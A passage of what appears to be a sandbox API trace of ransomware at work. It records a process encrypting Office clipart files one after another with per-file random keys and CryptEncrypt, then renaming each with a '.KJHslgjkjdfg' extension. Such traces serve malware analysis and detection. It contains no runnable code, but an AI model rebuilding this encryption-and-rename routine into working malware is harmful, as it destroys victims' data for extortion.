nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.445] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.445] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.446] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.446] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.446] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.446] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.446] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.446] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.446] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x36dc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x36dc, lpOverlapped=0x0) returned 1 [0191.447] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x36e0, dwBufLen=0x36e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x36e0) returned 1 [0191.447] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.448] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x36e0, lpOverlapped=0x0) returned 1 [0191.448] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.448] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x37b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.448] SetEndOfFile (hFile=0x114) returned 1 [0191.451] GetProcessHeap () returned 0x2a0000 [0191.451] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.451] GetProcessHeap () returned 0x2a0000 [0191.451] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.451] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.kjhslgjkjdfg")) returned 1 [0191.453] CloseHandle (hObject=0x114) returned 1 [0191.453] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2135, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SWEST_01.MID", cAlternateFileName="")) returned 1 [0191.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.454] GetProcessHeap () returned 0x2a0000 [0191.454] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.454] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.454] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.455] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0191.457] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.457] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.457] GetProcessHeap () returned 0x2a0000 [0191.457] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.457] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.457] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.457] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.457] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.457] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.458] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.458] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.458] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.458] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.458] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.458] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.458] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2135, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2135, lpOverlapped=0x0) returned 1 [0191.459] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2140, dwBufLen=0x2140 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2140) returned 1 [0191.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.459] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2140, lpOverlapped=0x0) returned 1 [0191.459] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.459] SetEndOfFile (hFile=0x114) returned 1 [0191.462] GetProcessHeap () returned 0x2a0000 [0191.462] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.462] GetProcessHeap () returned 0x2a0000 [0191.462] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.kjhslgjkjdfg")) returned 1 [0191.464] CloseHandle (hObject=0x114) returned 1 [0191.471] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7065e700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7065e700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00110_.WMF", cAlternateFileName="")) returned 1 [0191.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.474] GetProcessHeap () returned 0x2a0000 [0191.474] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.474] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.474] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.474] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.474] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.474] GetProcessHeap () returned 0x2a0000 [0191.474] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.474] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.474] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.474] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.490] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.490] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.490] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.490] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.490] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.490] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.490] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.490] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.490] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4f0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4f0, lpOverlapped=0x0) returned 1 [0191.490] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f0) returned 1 [0191.490] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.490] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4f0, lpOverlapped=0x0) returned 1 [0191.491] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.491] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.491] SetEndOfFile (hFile=0x114) returned 1 [0191.493] GetProcessHeap () returned 0x2a0000 [0191.493] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.494] GetProcessHeap () returned 0x2a0000 [0191.494] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf.kjhslgjkjdfg")) returned 1 [0191.496] CloseHandle (hObject=0x114) returned 1 [0191.496] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb76ecf00, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb76ecf00, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0x1844, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00127_.WMF", cAlternateFileName="")) returned 1 [0191.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.498] GetProcessHeap () returned 0x2a0000 [0191.498] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.498] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.498] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.498] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0191.500] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.501] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.501] GetProcessHeap () returned 0x2a0000 [0191.501] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.501] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.501] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.501] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.501] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.501] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.501] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.502] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.502] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.502] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.502] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.502] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.502] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1844, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1844, lpOverlapped=0x0) returned 1 [0191.629] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1850, dwBufLen=0x1850 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1850) returned 1 [0191.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.629] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1850, lpOverlapped=0x0) returned 1 [0191.630] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.630] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.630] SetEndOfFile (hFile=0x114) returned 1 [0191.632] GetProcessHeap () returned 0x2a0000 [0191.632] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.632] GetProcessHeap () returned 0x2a0000 [0191.632] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf.kjhslgjkjdfg")) returned 1 [0191.634] CloseHandle (hObject=0x114) returned 1 [0191.634] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb62ee00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb62ee00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x81c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00132_.WMF", cAlternateFileName="")) returned 1 [0191.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.637] GetProcessHeap () returned 0x2a0000 [0191.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.637] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.637] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.637] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.639] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.639] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.639] GetProcessHeap () returned 0x2a0000 [0191.639] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.639] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.639] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.639] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.640] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.640] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.640] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.640] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.640] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.640] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.640] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.640] SetFilePointerEx (in: 